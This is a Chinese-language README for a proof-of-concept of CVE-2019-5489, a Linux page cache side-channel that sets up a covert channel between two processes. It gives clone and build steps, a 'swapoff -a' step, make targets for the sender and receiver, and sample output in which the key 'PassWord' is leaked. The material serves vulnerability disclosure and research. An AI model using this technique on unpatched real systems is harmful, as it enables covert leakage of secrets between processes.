本仓库包含针对Linux的页面缓存侧信道攻击(CVE-2019-5489)的概念验证代码。
为了评估页面缓存侧信道,我在两个进程之间实现了隐蔽信道。 发送进程通过页面缓存侧信道向接收进程发送机密数据。 页面缓存攻击已在Linux内核5.0及更高版本中得到缓解,因此此PoC仅能在Linux内核5.0之前版本中起作用。
注意:我在Ubuntu 18.04、Linux 4.15.0-70上测试通过。
运行以下命令。
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
禁用交换空间以简化攻击。
swapoff -a
首先,在终端1上运行以下命令。
make run-sender
当终端1输出 sending 1th character ... 后,运行以下命令。
make run-receiver
如果执行成功,将输出以下内容。
这表明密钥已通过页面缓存侧信道从发送进程发送到接收进程。
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord